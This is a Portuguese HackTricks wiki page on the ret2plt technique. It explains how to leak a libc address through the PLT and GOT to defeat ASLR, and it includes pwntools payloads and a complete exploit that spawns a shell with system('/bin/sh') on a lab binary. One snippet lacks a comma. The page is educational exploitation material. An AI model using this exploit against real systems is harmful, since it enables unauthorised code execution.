mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
79 lines
3.0 KiB
Markdown
79 lines
3.0 KiB
Markdown
# Ret2plt
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
## Informações Básicas
|
|
|
|
O objetivo desta técnica seria **vazar um endereço de uma função do PLT** para conseguir contornar o ASLR. Isso ocorre porque, se, por exemplo, você vazar o endereço da função `puts` da libc, você pode então **calcular onde está a base da `libc`** e calcular offsets para acessar outras funções como **`system`**.
|
|
|
|
Isso pode ser feito com um payload `pwntools` como ([**a partir daqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
|
|
```python
|
|
# 32-bit ret2plt
|
|
payload = flat(
|
|
b'A' * padding,
|
|
elf.plt['puts'],
|
|
elf.symbols['main'],
|
|
elf.got['puts']
|
|
)
|
|
|
|
# 64-bit
|
|
payload = flat(
|
|
b'A' * padding,
|
|
POP_RDI,
|
|
elf.got['puts']
|
|
elf.plt['puts'],
|
|
elf.symbols['main']
|
|
)
|
|
```
|
|
Note como **`puts`** (usando o endereço do PLT) é chamado com o endereço de `puts` localizado na GOT (Tabela de Deslocamento Global). Isso ocorre porque, quando `puts` imprime a entrada da GOT de puts, esta **entrada conterá o endereço exato de `puts` na memória**.
|
|
|
|
Também note como o endereço de `main` é usado no exploit, então quando `puts` termina sua execução, o **binário chama `main` novamente em vez de sair** (assim o endereço vazado continuará a ser válido).
|
|
|
|
> [!CAUTION]
|
|
> Note como, para que isso funcione, o **binário não pode ser compilado com PIE** ou você deve ter **encontrado um vazamento para contornar o PIE** a fim de saber o endereço do PLT, GOT e main. Caso contrário, você precisa contornar o PIE primeiro.
|
|
|
|
Você pode encontrar um [**exemplo completo desse contorno aqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Este foi o exploit final daquele **exemplo**:
|
|
```python
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./vuln-32')
|
|
libc = elf.libc
|
|
p = process()
|
|
|
|
p.recvline()
|
|
|
|
payload = flat(
|
|
'A' * 32,
|
|
elf.plt['puts'],
|
|
elf.sym['main'],
|
|
elf.got['puts']
|
|
)
|
|
|
|
p.sendline(payload)
|
|
|
|
puts_leak = u32(p.recv(4))
|
|
p.recvlines(2)
|
|
|
|
libc.address = puts_leak - libc.sym['puts']
|
|
log.success(f'LIBC base: {hex(libc.address)}')
|
|
|
|
payload = flat(
|
|
'A' * 32,
|
|
libc.sym['system'],
|
|
libc.sym['exit'],
|
|
next(libc.search(b'/bin/sh\x00'))
|
|
)
|
|
|
|
p.sendline(payload)
|
|
|
|
p.interactive()
|
|
```
|
|
## Outros exemplos e Referências
|
|
|
|
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
|
|
- 64 bits, ASLR habilitado, mas sem PIE, o primeiro passo é preencher um overflow até o byte 0x00 do canário para então chamar puts e vazar. Com o canário, um gadget ROP é criado para chamar puts e vazar o endereço de puts da GOT e um gadget ROP para chamar `system('/bin/sh')`
|
|
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
|
|
- 64 bits, ASLR habilitado, sem canário, overflow de pilha na função principal a partir de uma função filha. Gadget ROP para chamar puts e vazar o endereço de puts da GOT e então chamar um gadget único.
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|